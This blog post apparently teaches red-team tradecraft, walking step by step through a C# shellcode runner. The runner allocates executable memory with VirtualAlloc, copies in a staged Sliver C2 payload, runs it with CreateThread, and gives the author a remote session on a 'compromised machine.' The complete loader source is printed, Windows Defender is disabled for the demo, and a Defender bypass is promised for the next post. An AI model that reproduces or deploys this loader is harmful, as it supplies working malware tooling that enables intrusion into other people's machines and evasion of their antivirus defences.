top of page
Search
Writer's pictureKshitij Khakurdikar

Simple Shellcode Runner (C#)

Managed Code vs Unmanaged code

Before we dive into some C# development, it is critical to understand the difference between managed and unmanaged code.

Unmanaged code is compiled into assembly language which is directly consumed by the processor for execution. E.g. C, C++

Managed code, on another hand is compiled into an intermediate form which is processed by a runtime. The runtime takes care of low level operations like memory allocation/de-allocation using underlying internal/system APIs that provides abstraction. E.g. C#, Java, .Net core, etc.

This means that when you program in languages that offer runtime (managed code), you don’t have to worry about low-level operations (like freeing memory/ allocating memory) as that is taken care well by the runtime.


Win32 APIs

The windows OS provides inbuilt set of APIs to allow developers to interact with functions provided by OS.

These APIs are documented in C-style programming fashion and are meant to be invoked from C.

For e.g. Below is an API used for creation of file.



You can see that the syntax provide is C-style. The documentation also provides extensive information on how the function needs to be called and executed along with different parameters and their requirement in terms of data-types.


Using Win32 APIs from managed code

The Win32 APIs are not accessible directly from a managed code, instead they need to be called from a runtime as mentioned earlier.

In context of .NET, common language runtime (CLR) does this job for us.

We can consume these low-level APIs through P/Invoke. According to Microsoft’s documentation -

“P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code. Most of the P/Invoke API is contained in two namespaces: System and System.Runtime.InteropServices.”

P/Invoke has it’s own documentation hosted at https://www.pinvoke.net/

It provides guidance on using these Win32 APIs from a managed code.

For e.g. The createFile function can be used in C# by importing Kernel32.dll and declaring it in the C# code as below -



Likewise, P/Invoke also provides guidance on using structures and enums required by these low level APIs.


Shellcode Generation

For demonstration, we are going to use Sliver C2 framework. We would be generating C# compatible staged shellcode. I have created another post dedicated to


Simple Shellcode Runner

We are going to design a simple shellcode runner in C# by consuming Win32 APIs.

This is nothing but a simple exe file running as a process.

Let us first orchestrate the flow.

  1. The runner first needs a payload that we want to execute. You can host it and download it from a web server OR you can embed it in the code itself. Let’s go with the second approach (no particular reason for this). We can define this an array of bytes

  2. Secondly we need to allocate memory for this payload inside our current process (which is nothing but the shellcode runner itself). This can be done using VirtualAlloc function.

  3. Next we need to copy our payload to the memory allocated in above step. This can be done using Marshal.Copy() method.

  4. Finally, we execute our shellcode inside a thread in current process by using CreateThread method. This will return a handle to the newly created thread

  5. It is likely most that the current process would terminate even before the our payload fully executes. To avoid this, we use WaitForSingleObject function to pause the execution of current process and wait for our newly created thread to finish.

Now that we have a flow in mind, we start off the coding by including two namespaces required by P/Invoke APIs -

using System;
using System.Runtime.InteropServices;

Our next step is to declare all the functions discussed above in our code -

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

These definitions can be directly picked up from https://www.pinvoke.net/

Now, let us understand each function and how to use them -


VirtualAlloc

As per Pinvoke documentation, it needs two user-defined enums to supplied as flags for this function, we will include them in our code-

[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}

We also define a byte array that would contain our shellcode -

byte[] buf = new byte[511] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8,….}

Now let’s look at function definition from Microsoft documentation and understand it’s parameters

LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in]           SIZE_T dwSize,
[in]           DWORD  flAllocationType,
[in]           DWORD  flProtect
);
  • The first parameter is the lpAddress which is basically the starting address of the region to allocate. If we set this to “0” or “NULL”, the API will decide the location, which is fine for us.

  • The second parameter is dwSize which is basically the size of the region. We can set it to the size of our shellcode. Since the parameter needs to be of uint type (for Pinvoke API), we are going to type cast the values using (uint).

  • The third parameter is flAllocationType, for which we need to use our AllocationType enum to specify the allocation method. As per the documentation from Microsoft, we are going to use MEM_COMMIT and MEM_RESERVE enum types. Since the parameter needs to be of uint type (for Pinvoke API), we are going to type cast the values using (uint).

  • The last parameter is the memory protection type of the region which we want it to be read, write, and executable and typecast it using (uint) as per Pinvoke API definition.

IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, (uint)AllocationType.Commit | (uint)AllocationType.Reserve, (uint)MemoryProtection.ExecuteReadWrite);

This returns the handle to the address of the region we allocated for the shellcode.


Marshal.Copy

Further, we use Marshal.Copy() function to copy our shellcode to the allocated region.

This is pretty straightforward.

  • The first parameter is the source array which is nothing but our shellcode.

  • The second parameter is the starting index of the array which is 0.

  • The third parameter is the destination address which is basically our handle to allocated region returned by VirtualAlloc.

  • The last parameter is the number of elements to copy from array which is basically the size of our shellcode.

Marshal.Copy(buf, 0, addr, size);

CreateThread

We will now utilize CreateThread function to execute our shellcode. This function instructs OS to create a thread in current process.

Let’s have a look at the function definiton from Microsoft

HANDLE CreateThread(
[in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
[in]            SIZE_T                  dwStackSize,
[in]            LPTHREAD_START_ROUTINE  lpStartAddress,
[in, optional]  __drv_aliasesMem LPVOID lpParameter,
[in]            DWORD                   dwCreationFlags,
[out, optional] LPDWORD                 lpThreadId
);

The API looks a bit complicated, however, we don’t need most of these parameters.

  • The first two parameters are used to specify thread attributes and stack size for which we are going to go with default values, hence we would set these to zero.

  • The third parameter is the starting address of the executable region which is nothing but our handle to allocated region returned by VirtualAlloc function.

  • The fourth parameter is the pointer to arguments required for our code. In our case, there are no arguments to be supplied hence we would set it to zero.

  • The fifth parameter is for the flags that control the creation of the thread. Since we want normal creation, we would set it to zero.

  • The last parameter is an OUT parameter and contains the thread ID of the thread that is created after this function gets execution.

IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

WaitForSingleObject

As mentioned earlier, we use WaitForSingleObject function to pause the execution of current process and wait for our newly created thread to finish.

Let’s have a look at the function definition from Microsoft-

DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD  dwMilliseconds
);
  • The first parameter is the handle to object, which in our case, is the thread handle (hThread) returned by CreateThread function.

  • The second parameter is the time-out interval, which for us is INFINITE, indicated by 0xFFFFFFFF

WaitForSingleObject(hThread, 0xFFFFFFFF);

Putting it all together

Since we have now studied and defined all the functions, let’s put it all together in a single piece of code.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

[Flags]
public enum AllocationType
{
    Commit = 0x1000,
    Reserve = 0x2000,
    Decommit = 0x4000,
    Release = 0x8000,
    Reset = 0x80000,
    Physical = 0x400000,
    TopDown = 0x100000,
    WriteWatch = 0x200000,
    LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{

    Execute = 0x10,
    ExecuteRead = 0x20,
    ExecuteReadWrite = 0x40,
    ExecuteWriteCopy = 0x80,
    NoAccess = 0x01,
    ReadOnly = 0x02,
    ReadWrite = 0x04,
    WriteCopy = 0x08,
    GuardModifierflag = 0x100,
    NoCacheModifierflag = 0x200,
    WriteCombineModifierflag = 0x400
}

namespace ShellcodeRunner
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32  dwMilliseconds);

        static void Main(string[] args)
        {
	       /* staged shellcode generated from Sliver C2 */
            byte[] buf = new byte[511] { 0xfc, 0x48, 0x83, 0xe4, .. }; 
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, (uint)AllocationType.Commit | (uint)AllocationType.Reserve, (uint)MemoryProtection.ExecuteReadWrite);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

Compile the above C# code and run it -


After a few seconds, our shellcode runner successfully executes the staged payload and we get session back from the machine on our Sliver C2 team server as shown below.


Using the session ID, we can now interact with our compromised machine.



Antivirus

For demonstration purposes, I had turned off Windows Defender as this shellcode runner gets easily detected since Microsoft regular updates detection rules for widely known threats. Sliver C2 being open-source framework would be a quick and easy pick for developing detection signatures.

Upon turning on the defender, the shellcode runner was identified as a malicious program as shown below.


In the next post, we will improvise our shellcode runner to bypass Windows Defender. Stay tuned.

75 views0 comments

Recent Posts

See All

Comments


bottom of page